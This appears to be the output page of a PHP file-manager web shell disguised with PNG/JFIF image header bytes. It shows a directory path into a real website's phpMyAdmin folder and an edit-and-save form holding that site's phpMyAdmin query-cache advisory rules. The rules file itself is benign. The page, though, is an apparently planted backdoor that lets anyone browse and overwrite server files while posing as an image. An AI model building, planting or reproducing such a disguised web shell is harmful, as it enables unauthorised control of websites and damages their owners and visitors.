�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2F'>libraries</a>/</p><hr><h3>✏️ Editing: advisory_rules_mysql_before80003.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

declare(strict_types=1);

return [
    // Query cache
    [
        &#039;id&#039; =&gt; &#039;Query cache disabled&#039;,
        &#039;name&#039; =&gt; __(&#039;Query cache disabled&#039;),
        &#039;formula&#039; =&gt; &#039;query_cache_size&#039;,
        &#039;test&#039; =&gt; &#039;value == 0 || query_cache_type == \&#039;OFF\&#039; || query_cache_type == \&#039;0\&#039;&#039;,
        &#039;issue&#039; =&gt; __(&#039;The query cache is not enabled.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;The query cache is known to greatly improve performance if configured correctly. Enable it by&#039;
            . &#039; setting {query_cache_size} to a 2 digit MiB value and setting {query_cache_type} to \&#039;ON\&#039;.&#039;
            . &#039; &lt;b&gt;Note:&lt;/b&gt; If you are using memcached, ignore this recommendation.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;query_cache_size is set to 0 or query_cache_type is set to \&#039;OFF\&#039;&#039;),
    ],
    [
        &#039;id&#039; =&gt; &#039;Query cache efficiency (%)&#039;,
        /* xgettext:no-php-format */
        &#039;name&#039; =&gt; __(&#039;Query cache efficiency (%)&#039;),
        &#039;precondition&#039; =&gt; &#039;Com_select + Qcache_hits &gt; 0 &amp;&amp; !fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;Qcache_hits / (Com_select + Qcache_hits) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value  &lt; 20&#039;,
        &#039;issue&#039; =&gt; __(&#039;Query cache not running efficiently, it has a low hit rate.&#039;),
        &#039;recommendation&#039; =&gt; __(&#039;Consider increasing {query_cache_limit}.&#039;),
        &#039;justification&#039; =&gt; __(&#039;The current query cache hit rate of %s%% is below 20%%&#039;),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Query Cache usage&#039;,
        &#039;name&#039; =&gt; __(&#039;Query Cache usage&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;100 - Qcache_free_memory / query_cache_size * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &lt; 80&#039;,
        /* xgettext:no-php-format */
        &#039;issue&#039; =&gt; __(&#039;Less than 80% of the query cache is being utilized.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;This might be caused by {query_cache_limit} being too low.&#039;
            . &#039; Flushing the query cache might help as well.&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;The current ratio of free query cache memory to total query&#039;
            . &#039; cache size is %s%%. It should be above 80%%&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Query cache fragmentation&#039;,
        &#039;name&#039; =&gt; __(&#039;Query cache fragmentation&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;Qcache_free_blocks / (Qcache_total_blocks / 2) * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 20&#039;,
        &#039;issue&#039; =&gt; __(&#039;The query cache is considerably fragmented.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Severe fragmentation is likely to (further) increase Qcache_lowmem_prunes. This might be&#039;
            . &#039; caused by many Query cache low memory prunes due to {query_cache_size} being too small. For a&#039;
            . &#039; immediate but short lived fix you can flush the query cache (might lock the query cache for a&#039;
            . &#039; long time). Carefully adjusting {query_cache_min_res_unit} to a lower value might help too,&#039;
            . &#039; e.g. you can set it to the average size of your queries in the cache using this formula:&#039;
            . &#039; (query_cache_size - qcache_free_memory) / qcache_queries_in_cache&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;The cache is currently fragmented by %s%% , with 100%% fragmentation meaning that the query&#039;
            . &#039; cache is an alternating pattern of free and used blocks. This value should be below 20%%.&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Query cache low memory prunes&#039;,
        &#039;name&#039; =&gt; __(&#039;Query cache low memory prunes&#039;),
        &#039;precondition&#039; =&gt; &#039;Qcache_inserts &gt; 0 &amp;&amp; !fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;Qcache_lowmem_prunes / Qcache_inserts * 100&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 0.1&#039;,
        &#039;issue&#039; =&gt; __(&#039;Cached queries are removed due to low query cache memory from the query cache.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;You might want to increase {query_cache_size}, however keep in mind that the overhead of&#039;
            . &#039; maintaining the cache is likely to increase with its size, so do this in small increments&#039;
            . &#039; and monitor the results.&#039;
        ),
        &#039;justification&#039; =&gt; __(
            &#039;The ratio of removed queries to inserted queries is %s%%. The lower this value is,&#039;
            . &#039; the better (This rules firing limit: 0.1%%)&#039;
        ),
        &#039;justification_formula&#039; =&gt; &#039;round(value,1)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Query cache max size&#039;,
        &#039;name&#039; =&gt; __(&#039;Query cache max size&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;query_cache_size&#039;,
        &#039;test&#039; =&gt; &#039;value &gt; 1024 * 1024 * 128&#039;,
        &#039;issue&#039; =&gt; __(
            &#039;The query cache size is above 128 MiB. Big query caches may cause significant&#039;
            . &#039; overhead that is required to maintain the cache.&#039;
        ),
        &#039;recommendation&#039; =&gt; __(
            &#039;Depending on your environment, it might be performance increasing to reduce this value.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;Current query cache size: %s&#039;),
        &#039;justification_formula&#039; =&gt; &#039;ADVISOR_formatByteDown(value, 2, 2)&#039;,
    ],
    [
        &#039;id&#039; =&gt; &#039;Query cache min result size&#039;,
        &#039;name&#039; =&gt; __(&#039;Query cache min result size&#039;),
        &#039;precondition&#039; =&gt; &#039;!fired(\&#039;Query cache disabled\&#039;)&#039;,
        &#039;formula&#039; =&gt; &#039;query_cache_limit&#039;,
        &#039;test&#039; =&gt; &#039;value == 1024*1024&#039;,
        &#039;issue&#039; =&gt; __(&#039;The max size of the result set in the query cache is the default of 1 MiB.&#039;),
        &#039;recommendation&#039; =&gt; __(
            &#039;Changing {query_cache_limit} (usually by increasing) may increase efficiency. This variable&#039;
            . &#039; determines the maximum size a query result may have to be inserted into the query cache.&#039;
            . &#039; If there are many query results above 1 MiB that are well cacheable (many reads, little writes)&#039;
            . &#039; then increasing {query_cache_limit} will increase efficiency. Whereas in the case of many query&#039;
            . &#039; results being above 1 MiB that are not very well cacheable (often invalidated due to table&#039;
            . &#039; updates) increasing {query_cache_limit} might reduce efficiency.&#039;
        ),
        &#039;justification&#039; =&gt; __(&#039;query_cache_limit is set to 1 MiB&#039;),
    ],
];
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries'>🔙 Back</a></p>